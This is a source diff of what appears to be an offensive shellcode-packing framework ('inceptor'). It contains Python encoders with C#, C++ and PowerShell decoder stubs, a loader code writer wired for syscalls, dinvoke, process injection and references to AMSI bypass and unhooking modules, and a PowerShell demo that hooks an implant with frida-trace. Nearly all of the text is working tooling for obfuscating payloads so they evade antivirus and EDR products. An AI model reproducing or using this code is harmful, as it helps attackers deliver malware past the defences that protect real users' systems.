# $hooked_array = @("NtCreateThreadEx", "NtAllocateVirtualMemory", "NtWriteVirtualMemory")
$hooked_array = @("NtCreateThreadEx")
$hooked = [string]::join(" -i ", $hooked_array)
# Step 3: Start frida-trace against the implant, trying to intercept native APIs
# Target APIs are "NtCreateThreadEx", "NtAllocateVirtualMemory", "NtWriteVirtualMemory"
Write-Host "[*] Starting frida hooking"
Write-Host "[*] Intercepting $hooked_array"
Start-Process "cmd.exe" -Args "/k frida-trace -x ntdll.dll -i $hooked -p $demo_pid"
}
Invoke-Demo -FilePath "$args"

View File

@ -0,0 +1,99 @@
import base64
import secrets
import string
import struct
from binascii import hexlify
from itertools import islice, cycle
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DefineComponent import DefineComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class AesEncryptor(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [bytes]
self.decoder_out = [bytes]
self.key = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(36)).encode()
self.salt = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(18)).encode()
self.derived_key = PBKDF2(self.key.decode(), self.salt, 32, 1000)
self.iv = PBKDF2(self.key.decode(), self.salt, 48, 1000)[32:]
@property
def c_key(self):
k = hexlify(self.derived_key).decode()
return ",".join([f"0x{k[i:i+2]}" for i in range(0, len(k), 2)])
@property
def c_iv(self):
k = hexlify(self.iv).decode()
return ",".join([f"0x{k[i:i+2]}" for i in range(0, len(k), 2)])
def encode(self, data):
if not isinstance(data, bytes):
data = data.encode()
cipher = AES.new(self.derived_key, AES.MODE_CBC, self.iv)
encrypted = cipher.encrypt(pad(data, AES.block_size))
return encrypted
def decode(self, data):
cipher = AES.new(self.derived_key, AES.MODE_CBC, self.iv)
return unpad(cipher.decrypt(data), AES.block_size)
def supported_languages(self):
return [Language.CSHARP, Language.POWERSHELL, Language.CPP]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("AesEncryptor.Decrypt")
module.components = [
UsingComponent("System.Security.Cryptography", language=language),
UsingComponent("System.IO", language=language),
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####SALT####", self.salt.decode()))
]
elif language == Language.CPP:
module.call_component = CallComponent("length = aes_decrypt(encoded, length);")
module.components = [
UsingComponent("<string.h>", language=language),
UsingComponent("<stdint.h>", language=language),
UsingComponent("<stddef.h>", language=language),
DefineComponent(r"""#define CBC 1
#define AES256 1
#define AES_BLOCKLEN 16
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#define Nk 8
#define Nr 14
#define Nb 4
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif
""", language=language),
CodeComponent(code.replace("####KEY####", self.c_key).replace("####IV####", self.c_iv)
)
]
elif language == Language.POWERSHELL:
module.call_component = CallComponent("Invoke-AesDecrypt")
module.components = [
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####SALT####", self.salt.decode()))
]
return module

View File

@ -0,0 +1,55 @@
import base64
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class Base64Encoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [str, bytes]
self.decoder_out = [bytes]
def encode(self, data):
if isinstance(data, str):
data = bytes(data, 'utf-8')
return base64.b64encode(data).decode()
def decode(self, data):
return base64.b64decode(data)
def supported_languages(self):
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("Base64Encoder.Decode")
module.components = [
CodeComponent(code)
]
elif language == Language.POWERSHELL:
module.call_component = CallComponent("Invoke-Base64Decode")
module.components = [
CodeComponent(code)
]
elif language == Language.CPP:
module.call_component = CallComponent("length = base64_decode(encoded, length);")
module.components = [
UsingComponent("<string.h>", language=language),
UsingComponent("<stdint.h>", language=language),
UsingComponent("<stddef.h>", language=language),
CodeComponent(code)
]
return module

View File

@ -0,0 +1,73 @@
import sys
from abc import ABC, abstractmethod
from enum import Enum
from pathlib import Path
from config.Config import Config
from engine.modules.EncoderModule import EncoderModule
from enums.Architectures import Arch
from enums.Language import Language
from utils.console import Console
class EncoderTypes(Enum):
OBFUSCATOR = "Obfuscator"
ENCRYPTOR = "Encryptor"
ENCODER = "Encoder"
@staticmethod
def to_list():
return [e.value for e in list(EncoderTypes)]
class Encoder(ABC):
def __init__(self, order=None):
self.implementations_dir: Path = Config().get_path("DIRECTORIES", "encoders")
self.decoder_in = None
self.decoder_out = None
self.order = order
pass
def set_order(self, order):
self.order = order
@abstractmethod
def encode(self, data):
pass
@abstractmethod
def decode(self, data):
pass
@abstractmethod
def translate(self, language=None, arch=Arch.x64) -> EncoderModule:
pass
@abstractmethod
def supported_languages(self) -> list:
pass
def template(self, language: Language):
base = ""
ext = ""
encoder = self.__class__.__name__.lower().replace('encoder', '').replace('encryptor', '')
if language == Language.CSHARP:
base = "dotnet"
ext = ".cs"
elif language == Language.CPP:
base = "native"
ext = ".cpp"
elif language == Language.POWERSHELL:
base = "powershell"
ext = ".ps1"
source = self.implementations_dir.joinpath(base).joinpath(
f"{encoder}{ext}")
if not source.exists():
Console.auto_line(f"[-] {encoder} not supported in {language.name}")
sys.exit(1)
return open(str(source)).read()
def is_supported(self, language):
return language in self.supported_languages()

View File

@ -0,0 +1,138 @@
import traceback
from collections import OrderedDict
from pydoc import locate
from config.Config import Config
from encoders.Encoder import Encoder, EncoderTypes
from enums.Language import Language
class EncoderChain:
def __init__(self):
self.chain = OrderedDict()
self.current = 0
def is_empty(self):
return len(self.chain) == 0
def to_string(self):
return "->".join([e.__class__.__name__ for e in self.chain.values()])
@property
def last(self):
return max(self.current - 1, 0)
@property
def last_element(self):
try:
return self.chain[max(self.current - 1, 0)]
except KeyError:
return None
def prepend(self, value: Encoder):
value.order = 0
for e in self.chain.values():
e.order += 1
self.chain[self.current] = value
self.chain.move_to_end(self.current, last=False)
self.current += 1
def push(self, value: Encoder):
value.order = self.current
self.chain[self.current] = value
self.current += 1
def pop(self) -> Encoder:
self.current -= 1
return self.chain.popitem()[1]
def delete(self, index) -> bool:
if index not in self.chain.keys():
return False
self.chain.move_to_end(index)
self.chain.popitem()
def encode(self, data):
for k, v in self.chain.items():
data = v.encode(data)
return data
def validate(self, language=Language.CSHARP):
for e in list(self.chain.values()):
if not e.is_supported(language):
return False
current_in, current_out, previous_out = None, None, None
if len(self.chain) == 0:
return True
if self.chain[0].decoder_out[0] != bytes:
return False
#if self.chain[self.last].decoder_in[0] != str and language == Language.CSHARP:
# return False
# if self.chain[self.last].decoder_in[0] != bytes and language == Language.POWERSHELL:
# return False
if self.chain[0].decoder_in[0] != bytes and language == Language.POWERSHELL:
return False
for k in list(self.chain.keys())[::-1]:
current_in = self.chain[k].decoder_in
current_out = self.chain[k].decoder_out[0]
if previous_out and (previous_out != current_in[0] or previous_out not in current_in):
print(current_in)
print(previous_out)
return False
previous_out = current_out
return True
def translate(self, language=Language.CSHARP):
modules = []
chain = EncoderChain()
chain.chain = self.chain.copy()
chain.current = self.current
call = ""
if language == Language.CSHARP:
call = Config().get("PLACEHOLDERS", "SHELLCODE_VARIABLE")
elif language == Language.POWERSHELL:
call = "$" + Config().get("PLACEHOLDERS", "SHELLCODE_VARIABLE")
prefix, suffix = "", ""
if language == Language.CSHARP:
prefix = "byte[] decoded = "
suffix = ";"
elif language == Language.CPP:
prefix = ""
suffix = "\n"
elif language == Language.POWERSHELL:
prefix = "[byte[]] $decoded = "
suffix = ";"
while not chain.is_empty():
encoder = chain.pop()
encoder_module = encoder.translate(language=language)
call = encoder_module.call_component.as_function_call(call, language=language)
modules.append(encoder_module)
call = f"{prefix}{call}{suffix}"
return modules, call
@staticmethod
def from_list(encoders: list = None):
chain = EncoderChain()
if not encoders or len(encoders) == 0:
return chain
for e in encoders:
try:
if e == "":
continue
for et in EncoderTypes.to_list():
try:
encoder_class_string = f"encoders.{str(e).capitalize()}{et}.{str(e).capitalize()}{et}"
# print(encoder_class_string)
encoder_class = locate(encoder_class_string)
encoder_instance = encoder_class()
chain.push(encoder_instance)
break
except:
pass
except Exception as ex:
print(ex)
continue
return chain

View File

@ -0,0 +1,50 @@
import base64
from binascii import hexlify, unhexlify
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class HexEncoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [str]
self.decoder_out = [bytes]
def encode(self, data):
return hexlify(data).decode()
def decode(self, data):
return unhexlify(data)
def supported_languages(self):
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("HexEncoder.Decode")
module.components = [
CodeComponent(code)
]
elif language == Language.POWERSHELL:
module.call_component = CallComponent("Invoke-HexDecode")
module.components = [
CodeComponent(code)
]
elif language == Language.CPP:
module.call_component = CallComponent("length = hex_decode(encoded, length);")
module.components = [
CodeComponent(code)
]
return module

View File

@ -0,0 +1,64 @@
from binascii import hexlify, unhexlify
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class NopEncoder(Encoder):
"""
This encoder takes as input an hexlified version of the payload
Then, it perform a NOP insertion byte per byte
The resulting payload is duplicated in size
Input String
Output String
"""
def __init__(self):
super().__init__()
self.decoder_in = [bytes]
self.decoder_out = [bytes]
def encode(self, data):
if isinstance(data, bytes):
data = hexlify(data).decode()
data = "".join([f"{data[i:i + 2]}90" for i in range(0, len(data), 2)])
return unhexlify(data)
def decode(self, data):
if isinstance(data, bytes):
data = hexlify(data).decode()
decoded = ""
tokens = [data[i:i + 2] for i in range(0, len(data), 2)]
for i in range(len(tokens)):
if i % 2 == 0:
decoded += tokens[i]
return unhexlify(decoded)
def supported_languages(self):
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("NopEncoder.Decode")
module.components = [
CodeComponent(code)
]
elif language == Language.CPP:
module.call_component = CallComponent("length = nop_decode(encoded, length);")
module.components = [
CodeComponent(code)
]
elif language == Language.POWERSHELL:
module.call_component = CallComponent("Invoke-NopDecode")
module.components = [
CodeComponent(code)
]
return module

View File

@ -0,0 +1,55 @@
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class RleEncoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [str]
self.decoder_out = [str]
def encode(self, data):
encoding = ''
prev_char = ''
count = 1
if not data:
return ''
for char in data:
if char != prev_char:
if prev_char:
encoding += str(count) + prev_char + ":"
count = 1
prev_char = char
else:
count += 1
encoding += str(count) + prev_char
return encoding
def decode(self, data):
pairs = data.split(":")
decode = ""
for p in pairs:
decode += p[-1] * int(p[:-1])
return decode
def supported_languages(self):
return [Language.CSHARP]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("RunLengthEncoder.Decode")
module.components = [
CodeComponent(code)
]
return module

View File

@ -0,0 +1,35 @@
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
class S2bEncoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [bytes]
self.decoder_out = [str]
def encode(self, data):
return data
def decode(self, data):
return data
def supported_languages(self):
return [Language.CSHARP]
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("S2bEncoder.Decode")
module.components = [
CodeComponent(code)
]
return module

View File

@ -0,0 +1,63 @@
import base64
import secrets
import string
import struct
from itertools import islice, cycle
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Language import Language
from Crypto.Util import strxor
class XorEncoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [bytes]
self.decoder_out = [bytes]
self.key = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(12)).encode()
def slow_encode(self, data):
encoded = b""
if isinstance(data, str):
data = bytes(data, 'utf-8')
for i in range(len(data)):
print(f" [>] Progress: {i * 100 / (len(data) - 1):.2f}% ", end='\r')
encoded += struct.pack("B", (data[i] ^ (self.key[i % len(self.key)])))
print()
return encoded
def encode(self, data):
if isinstance(data, str):
data = bytes(data, 'utf-8')
return strxor.strxor(data, bytearray(islice(cycle(self.key), len(data))))
def supported_languages(self):
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
def decode(self, data):
return self.encode(data)
def translate(self, language=Language.CSHARP, arch=None):
module = EncoderModule()
module.name = self.__class__.__name__
code = self.template(language=language)
if language == Language.CSHARP:
module.call_component = CallComponent("XorEncoder.Decode")
module.components = [
CodeComponent(code.replace("####KEY####", self.key.decode()))
]
elif language == Language.CPP:
module.call_component = CallComponent("length = xor_encode(encoded, length);")
module.components = [
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####KEY_LENGTH####", str(len(self.key))))
]
elif language == Language.POWERSHELL:
module.call_component = CallComponent("Invoke-Xor")
module.components = [
CodeComponent(code.replace("####KEY####", self.key.decode()))
]
return module

View File

@ -0,0 +1,44 @@
import base64
import codecs
import os
from config.Config import Config
from encoders.Encoder import Encoder
from engine.component.CallComponent import CallComponent
from engine.component.CodeComponent import CodeComponent
from engine.modules.EncoderModule import EncoderModule
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class ZlibEncoder(Encoder):
def __init__(self):
super().__init__()
self.decoder_in = [bytes]
self.decoder_out = [bytes]
def encode(self, data):
if isinstance(data, str):
data = bytes(data, 'utf-8')
compressed = codecs.encode(data, 'zlib')
return compressed
def decode(self, data):
return data.decode('zlib')
def supported_languages(self):
return [Language.CSHARP]
def translate(self, language=Language.CSHARP, arch=Arch.Any):
module = EncoderModule()
code = self.template(language=language)
if language == Language.CSHARP:
module.name = self.__class__.__name__
module.call_component = CallComponent("ZlibEncoder.Decode")
module.libraries = [str(Config().get_path("DIRECTORIES", "libs").joinpath(arch.value, "Zlib.Portable.dll"))]
module.components = [
CodeComponent(code)
]
return module

View File

View File

@ -0,0 +1 @@
private/

View File

@ -0,0 +1,27 @@
public static class AesEncryptor
{
public static byte[] Decrypt(byte[] cipherBytes, string DecryptionKey = "####KEY####")
{
byte[] clearBytes;
using (Aes encryptor = Aes.Create())
{
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(
DecryptionKey,
System.Text.Encoding.UTF8.GetBytes("####SALT####")
);
encryptor.Key = pdb.GetBytes(32);
encryptor.IV = pdb.GetBytes(16);
encryptor.Padding = PaddingMode.None;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(cipherBytes, 0, cipherBytes.Length);
cs.Close();
}
clearBytes = ms.ToArray();
}
}
return clearBytes;
}
}

View File

@ -0,0 +1,12 @@
public static class Base64Encoder
{
public static byte[] Decode(string data)
{
return Convert.FromBase64String(data);
}
public static byte[] Decode(byte[] data)
{
return Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
}
}

View File

@ -0,0 +1,13 @@
public static class HexEncoder
{
public static byte[] Decode(string hex)
{
var chars = hex.ToCharArray();
var bytes = new List<byte>();
for(int index = 0; index < chars.Length; index += 2) {
var chunk = new string(chars, index, 2);
bytes.Add(byte.Parse(chunk, System.Globalization.NumberStyles.AllowHexSpecifier));
}
return bytes.ToArray();
}
}

View File

@ -0,0 +1,19 @@
class NopEncoder
{
public static byte[] Decode(byte[] data)
{
int buf_len = data.Length/2 + 1;
if (data.Length % 2 == 0){
buf_len = data.Length/2;
}
byte[] decode = new byte[buf_len];
int real_length = 0;
for (int i=0; i<data.Length; i++){
if (i % 2 == 0){
decode[real_length] = data[i];
real_length++;
}
}
return decode;
}
}

View File

@ -0,0 +1,22 @@
class RunLengthEncoder
{
public static string Decode(string data)
{
string decode = string.Empty;
string[] pairs = data.Split(':');
int index = 0;
foreach (string s in pairs)
{
if (index % 100000 == 0){
Console.Write("\r[*] Progress: {0}% ", index*100/pairs.Length);
}
char original = s[s.Length - 1];
int repeat = Int32.Parse(s.Remove(s.Length - 1));
decode += new String(original, repeat);
index++;
}
Console.WriteLine("\r[*] Progress: 100%");
return decode;
}
}

View File

@ -0,0 +1,7 @@
class S2bEncoder
{
public static string Decode(byte[] data)
{
return System.Text.Encoding.UTF8.GetString(data);
}
}

View File

@ -0,0 +1,14 @@
public static class XorEncoder
{
public static byte[] Decode(byte[] data)
{
byte[] decoded = new byte[data.Length];
byte[] key = System.Text.Encoding.UTF8.GetBytes("####KEY####");
for (int i = 0; i < data.Length; i++)
{
decoded[i] = (byte)(data[i] ^ key[i % key.Length]);
}
return decoded;
}
}

View File

@ -0,0 +1,7 @@
public static class ZlibEncoder
{
public static byte[] Decode(byte[] data)
{
return Ionic.Zlib.ZlibStream.UncompressBuffer(data);
}
}

View File

@ -0,0 +1,11 @@
int nop_decode(unsigned char* encoded, int length)
{
int data_len = 0;
for (int i = 0; i < length; i++) {
if (i % 2 == 0){
encoded[data_len] = encoded[i];
data_len++;
}
}
return data_len;
}

View File

@ -0,0 +1,10 @@
int xor_encode(unsigned char* data, int data_len)
{
const char* key = "####KEY####";
int key_len = ####KEY_LENGTH####;
for (int i = 0; i < data_len; i++){
data[i] = (data[i] ^ (unsigned char)key[i % key_len]);
}
return data_len;
}

View File

@ -0,0 +1,44 @@
function Invoke-AesDecrypt
{
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True)]
[byte[]]$Encrypted,
[Parameter(Mandatory=$False)]
[string]$Key
)
$DecryptionKey = '####KEY####'
if(-not([string]::IsNullOrEmpty($Key))){
$DecryptionKey = $Key
}
$salt = [System.Text.Encoding]::UTF8.GetBytes("####SALT####");
$pdb = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($DecryptionKey, $salt)
$AESKey = $pdb.GetBytes(32);
$AESIV = $pdb.GetBytes(16);
$AES = New-Object Security.Cryptography.AesManaged
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AES.Padding = [System.Security.Cryptography.PaddingMode]::None
$AES.BlockSize = 128
$AES.KeySize = 256
$ms = [System.IO.MemoryStream]::new()
$cs = New-Object System.Security.Cryptography.CryptoStream(
$ms,
$AES.CreateDecryptor($AESKey, $AESIV),
[System.Security.Cryptography.CryptoStreamMode]::Write
);
$cs.Write($Encrypted, 0, $Encrypted.Length)
$cs.Close()
$decrypted = $ms.ToArray()
$ms.Dispose()
return $decrypted;
}

View File

@ -0,0 +1,13 @@
function Invoke-Base64Decode(){
param(
[Parameter(Mandatory=$True, Position=0)]
[object] $Data
)
if ($Data.GetType().Name -eq "String"){
return ([System.Convert]::FromBase64String($Data))
}
elseif ($Data.GetType().Name -eq "Byte[]"){
return ([System.Convert]::FromBase64String([Encoding.UTF8]::GetString($Data)))
}
}

View File

@ -0,0 +1,11 @@
function Invoke-HexDecode(){
param(
[Parameter(Mandatory=$True, Position=0)]
[object] $Data
)
if ($Data.GetType().Name -eq "String"){
[byte[]] $decoded = @($Data -split '(.{2})' | ForEach-Object {if (-not $_ -eq ""){ [byte]"0x$_"}})
return $decoded
}
}

View File

@ -0,0 +1,18 @@
function Invoke-NopDecode {
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
[byte[]] $encoded = [System.Byte[]]::new(($Data.Length+1)/2)
$j = 0
for ($i = 0; $i -lt $Data.length; $i++) {
if ($i%2 -eq 0){
$encoded[$j] = $Data[$i]
$j++
}
}
return $encoded
}

View File

@ -0,0 +1,22 @@
function Invoke-Xor {
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
$key = [System.Text.Encoding]::UTF8.GetBytes("####KEY####")
$encoded = $(for ($i = 0; $i -lt $Data.length; ) {
for ($j = 0; $j -lt $key.length; $j++) {
$Data[$i] -bxor $key[$j]
$i++
if ($i -ge $Data.Length) {
$j = $key.length
}
}
})
return $encoded
}

View File

@ -0,0 +1,177 @@
import os
import sys
import tempfile
from config.Config import Config
from encoders.EncoderChain import EncoderChain
from engine.Filter import Filter
from engine.Template import Template
from engine.TemplateFactory import TemplateFactory
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException, ModuleNotLoadableException
from enums.Architectures import Arch
from enums.Language import Language
from utils.console import Console
class CodeWriter:
def __init__(self, file: str = None,
converter=None,
delay: int = None,
pinject: bool = False,
process: str = None,
language: Language = Language.CSHARP,
template: str = None,
_filter: Filter = None,
modules: list = None,
arch: str = "x64"):
self.additional_sources = []
self.language = language
self.bypass_dll = tempfile.NamedTemporaryFile(
delete=True,
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
suffix=".dll"
).name
dinvoke = len([m for m in modules if m.lower() == "dinvoke"]) > 0
syscalls = len([m for m in modules if m.lower() == "syscalls"]) > 0
kwargs = {
"language": language,
"seconds": delay,
"dinvoke": dinvoke,
"syscalls": syscalls,
"process": process,
"pinject": pinject,
"arch": Arch.from_string(arch)
}
modules_objects = []
for m in modules:
try:
modules_objects.append(
TemplateModule.from_name(
name=m,
kwargs=kwargs
)
)
except ModuleNotCompatibleException as e:
Console.auto_line(f"[-] Module {m} could not be loaded")
except ModuleNotLoadableException as e:
Console.auto_line(f"[-] Module {m} is not loadable")
for m in modules_objects:
if m and m.filter_string and m.filter_string != "":
_filter.include.append(m.filter_string)
_filter.imode = "and"
if template:
self.template = TemplateFactory.from_path(template, language=language, _filter=_filter)
else:
self.template = TemplateFactory.from_converter(
file=file,
dinvoke=dinvoke,
syscalls=syscalls,
pinject=pinject,
converter=converter,
language=language,
_filter=_filter
)
ext = self.get_temporary_file_extension()
self.load_modules(modules=modules_objects)
# if delay and delay > 0:
# self.load_module(DelayModule(language=language, seconds=delay),
# commit=(not any([bypass, anti_debug, dinvoke, syscalls, unhook, process])))
# if unhook:
# self.load_module(module=UnhookModule(language=language, dinvoke=dinvoke),
# commit=(not any([bypass, anti_debug, dinvoke, syscalls, process])))
# if anti_debug:
# self.load_module(module=AntiDebugModule(language=language, dinvoke=dinvoke),
# commit=(not any([bypass, dinvoke, syscalls, process])))
# if bypass:
# self.load_module(
# module=AmsiModule(
# dinvoke=dinvoke,
# language=language,
# ),
# commit=not any([dinvoke, syscalls, process])
# )
# if dinvoke and language == Language.CSHARP:
# self.load_module(module=DinvokeModule(),
# commit=any([syscalls, process]))
# if process:
# self.load_module(module=FindProcessModule(process=process, language=language),
# commit=not syscalls)
# if load_parameters_module:
# self.load_module(module=EvalArgsModule(language=language),
# commit=not syscalls)
# if syscalls and not dinvoke:
# self.load_module(
# module=SyscallsModule(libraries=None, language=language),
# commit=True)
# Dirty dirty workaround for DotNetToJScript
if self.template.template_name.find("dtjs") > -1:
self.load_module(TemplateModule.from_name("dtjs", kwargs=None), commit=True)
working_directory = Config().get_path("DIRECTORIES", "WRITER")
if working_directory and working_directory != "":
self.outfile = tempfile.NamedTemporaryFile(dir=working_directory, delete=False, suffix=ext).name
else:
self.outfile = tempfile.NamedTemporaryFile(delete=False, suffix=ext).name
@property
def source_files(self):
self.collect_sources()
return [self.outfile] + self.additional_sources
def get_temporary_file_extension(self):
if self.language == Language.CSHARP:
return ".cs"
elif self.language == Language.CPP:
return ".cpp"
elif self.language == Language.POWERSHELL:
return ".ps1"
def load_chain(self, chain: EncoderChain = None):
if chain:
self.template.load_chain(chain=chain)
def load_modules(self, modules: list):
for i in range(len(modules)):
commit = (i == len(modules) - 1)
self.load_module(modules[i], commit=commit)
def load_module(self, module: TemplateModule, commit=False):
if module:
self.template.add_module(module)
if commit:
self.template.process_modules()
def collect_sources(self):
self.additional_sources = self.template.collect_sources()
def write_source(self, shellcode):
if not shellcode:
return False
content = ""
try:
content = self.template.generate(shellcode=shellcode)
except Exception as e:
print(f"[-] Exception in write_source while decoding template")
print(f"[-] Exception: {e}")
# traceback.print_exc()
sys.exit(1)
with open(self.outfile, "w") as out:
out.write(content)
def write(self, template: Template, outfile):
raw = template.generate(shellcode=None)
with open(outfile, "w") as out:
out.write(raw)
def clean(self):
if os.path.isfile(self.outfile):
os.unlink(self.outfile)

24
inceptor/engine/Filter.py Normal file
View File

@ -0,0 +1,24 @@
class Filter:
def __init__(self, include: list = None, exclude: list = None, imode="or", emode="and"):
self.include = include if include else []
self.exclude = exclude if exclude else []
self.imode = imode.lower()
self.emode = emode.lower()
def match(self, target):
match_include = match_exclude = True
if self.include and len(self.include) > 0:
if self.imode == "or":
match_include = any([target.find(s) >= 0 for s in self.include])
elif self.imode == "and":
match_include = all([target.find(s) >= 0 for s in self.include])
if self.exclude and len(self.exclude) > 0:
if self.emode == "or":
match_exclude = any([target.find(s) == -1 for s in self.exclude])
elif self.emode == "and":
match_exclude = all([target.find(s) == -1 for s in self.exclude])
return match_include and match_exclude
def to_string(self):
print(f"Include: {','.join(self.include)}, Mode: {self.imode}")
print(f"Exclude: {','.join(self.exclude)}, Mode: {self.emode}")

154
inceptor/engine/Template.py Normal file
View File

@ -0,0 +1,154 @@
import base64
import os
import re
from binascii import hexlify
from config.Config import Config
from encoders.EncoderChain import EncoderChain
from engine.component.UsingComponent import UsingComponent
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
from engine.modules.EncoderModule import EncoderModule
from enums.Imports import ImportRegex
from enums.Language import Language
class TemplateException(Exception):
def __init__(self, message):
super(TemplateException, self).__init__(message)
class Template:
def __init__(self, path=None, language=Language.CSHARP, chain: EncoderChain = None):
self.path = path
self.imports = []
self.modules, self.call_decode = chain.translate(language=language) if chain else [], ""
self.language = language
self.template = None
self.shellcode_placeholder = Config().get("PLACEHOLDERS", "SHELLCODE")
self.call_placeholder = Config().get("PLACEHOLDERS", "CALL")
if self.language == Language.POWERSHELL:
self.shellcode_placeholder = f"<{self.shellcode_placeholder}>"
self.call_placeholder = self.call_placeholder.replace("/", "")
self.load_template(path)
self.template_name = os.path.splitext(path)[0].upper().split("\\")[-1]
self.components = []
self.libraries = []
self.defined = []
self.shellcode_type = bytes
def identify_imports(self, raw_template):
matches = ImportRegex.from_lang(language=self.language).finditer(raw_template, re.MULTILINE)
for m in matches:
self.imports.append(m)
def load_template(self, path):
if not path or not os.path.isfile(path):
return
try:
with open(path, "r") as template_file:
raw_template = template_file.read()
except Exception as e:
print(f"[-] Exception in load_template while opening template file {path}")
print(f"[-] Exception: {e}")
return
if raw_template.find(self.shellcode_placeholder) < 0:
raise TemplateException(f"[-] Error: Template missing SHELLCODE placeholder!")
self.identify_imports(raw_template)
self.template = base64.b64encode(raw_template.encode())
def load_chain(self, chain: EncoderChain = None):
modules = []
if chain:
modules, self.call_decode = chain.translate(language=self.language)
if not chain.is_empty():
self.shellcode_type = chain.last_element.decoder_in
self.modules = [m for m in self.modules if not isinstance(m, EncoderModule)] + modules
self.process_modules()
def process_modules(self):
self.libraries = []
self.components = []
for module in self.modules:
if not isinstance(module, EncoderModule) or (
isinstance(module, EncoderModule) and module.name not in self.defined
):
self.libraries += module.libraries
self.components += module.components
self.defined.append(module.name)
self.libraries = list(set(self.libraries))
def collect_sources(self):
sources = []
for module in self.modules:
if isinstance(module, AssemblyInfoModule) or isinstance(module, AdditionalSourceModule):
sources.append(module.path)
return sources
def add_module(self, module):
self.modules.append(module)
@staticmethod
def fix_size(shellcode):
return shellcode
# Originally, shellcode was saved in "\x90" format
# if len(shellcode) > 65535:
# i_am_on_crack = [x for x in shellcode.split("\\x") if x != "" and x != " " and x is not None]
# return "{0x" + ', 0x'.join(i_am_on_crack) + "}"
# elif len(shellcode) > 10000:
# rep = [shellcode[i:i + 10000] for i in range(0, len(shellcode), 10000)]
# else:
# rep = [shellcode]
# return '"\n"'.join(rep)
def otf_replace(self, placeholder, code):
raw_template = base64.b64decode(self.template).decode()
raw_template = raw_template.replace(placeholder, code)
self.template = base64.b64encode(raw_template.encode())
def craft(self, shellcode):
if self.language == Language.CSHARP:
if isinstance(shellcode, bytes):
shellcode = hexlify(shellcode).decode()
return "new byte[]{" + ",".join([f"0x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)]) + "}"
# shellcode = "".join([f"\\x{shellcode[i:i + 2]}" for i in range(0, len(shellcode), 2)])
return f"\"{shellcode}\""
elif self.language == Language.CPP:
if isinstance(shellcode, bytes):
